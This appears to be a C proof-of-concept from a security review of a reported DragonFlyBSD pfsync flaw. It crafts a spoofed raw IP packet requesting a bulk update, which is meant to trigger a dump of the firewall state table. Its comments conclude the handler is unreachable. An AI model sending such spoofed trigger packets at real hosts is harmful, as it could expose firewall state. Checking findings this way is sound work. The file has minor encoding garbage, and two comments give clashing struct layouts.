DF-0429 / inject_ureq.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 | /* * inject_ureq.c โ DF-0429 demonstration trigger. * * DF-0429 claims an unauthenticated PFSYNC_ACT_UREQ packet with * id==0 && creatorid==0 (sys/net/pf/if_pfsync.c:916) forces the victim to * multicast its ENTIRE pf state table (pfsync_bulk_update, :1545-1613). * * This program crafts exactly that packet: a raw IP packet with ip_p=240 * (IPPROTO_PFSYNC), ip_ttl=255, carrying a pfsync_header with * action=PFSYNC_ACT_UREQ and a pfsync_state_upd_req { id=0, creatorid=0 }. * * EXPECTED IF BUG WERE LIVE: victim's pfsync_bulkfail/pfsync_bulk_update * callouts fire; outgoing PFSYNC_ACT_UPD multicast packets stream out * carrying the whole state table; pfsyncs_ipackets increments. * * ACTUAL on DragonFlyBSD master DEV: the packet is received by the IP layer * but, because pfsync_input is NOT registered (dead code โ see VERDICT.md), * ip_protox[240] resolves to the RAW wildcard, the packet is counted as an * unknown/unsupported protocol (netstat -sp ip), pfsyncstats.pfsyncs_ipackets * stays 0, and NO bulk dump occurs. => handler unreachable, finding moot. * * Build: cc -o inject_ureq inject_ureq.c * Run : ./inject_ureq <src-ip> <dst-ip> * (default: 10.0.2.99 -> 224.0.0.240, the pfsync multicast group) * * Requires root (raw socket). The finding's premise is that NO source auth * is done, so we spoof an arbitrary on-link source. */ #include <sys/param.h> #include <sys/socket.h> #include <net/if.h> #include <netinet/in.h> #include <netinet/ip.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <err.h> #include <net/pf/if_pfsync.h> static u_int16_t cksum(const void *data, int len) { const u_int16_t *p = data; u_int32_t sum = 0; while (len > 1) { sum += *p++; len -= 2; } if (len) sum += *(const u_int8_t *)p; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (u_int16_t)~sum; } int main(int argc, char **argv) { int s, on = 1; struct sockaddr_in dst; const char *src = (argc > 1) ? argv[1] : "10.0.2.99"; const char *grp = (argc > 2) ? argv[2] : "224.0.0.240"; /* * IP(20) + pfsync_header(28) + pfsync_state_upd_req. * pfsync.h: struct pfsync_state_upd_req { u_int64_t id; u_int32_t creatorid; } */ struct { struct ip ip; struct pfsync_header ph; struct pfsync_state_upd_req rup; } __packed pkt; memset(&pkt, 0, sizeof(pkt)); pkt.ip.ip_v = 4; pkt.ip.ip_hl = sizeof(struct ip) >> 2; pkt.ip.ip_tos = 0; pkt.ip.ip_len = htons(sizeof(pkt)); pkt.ip.ip_id = htons(0x1234); pkt.ip.ip_off = 0; pkt.ip.ip_ttl = PFSYNC_DFLTTL; /* 255 */ pkt.ip.ip_p = IPPROTO_PFSYNC; /* 240 */ pkt.ip.ip_sum = 0; inet_pton(AF_INET, src, &pkt.ip.ip_src); inet_pton(AF_INET, grp, &pkt.ip.ip_dst); pkt.ip.ip_sum = cksum(&pkt.ip, sizeof(pkt.ip)); pkt.ph.version = PFSYNC_VERSION; /* 4 */ pkt.ph.af = AF_INET; pkt.ph.action = PFSYNC_ACT_UREQ; /* 5 โ bulk update request */ pkt.ph.count = 1; memset(pkt.ph.pf_chksum, 0, sizeof(pkt.ph.pf_chksum)); /* the exact trigger DF-0429 cites at if_pfsync.c:916: id==0 && creatorid==0. * rup is { u_int32_t id[2]; u_int32_t creatorid; u_int32_t pad; } and the * whole packet is memset to 0 above, so id={0,0} and creatorid=0 already. */ s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) err(1, "socket(IPPROTO_RAW)"); if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) err(1, "IP_HDRINCL"); memset(&dst, 0, sizeof(dst)); dst.sin_family = AF_INET; inet_pton(AF_INET, grp, &dst.sin_addr); ssize_t n = sendto(s, &pkt, sizeof(pkt), 0, (struct sockaddr *)&dst, sizeof(dst)); if (n < 0) err(1, "sendto"); printf("sent %zd bytes: %s -> %s proto=240 ttl=255 act=UREQ " "id=0 creatorid=0 (bulk-dump trigger)\n", n, src, grp); close(s); return 0; } |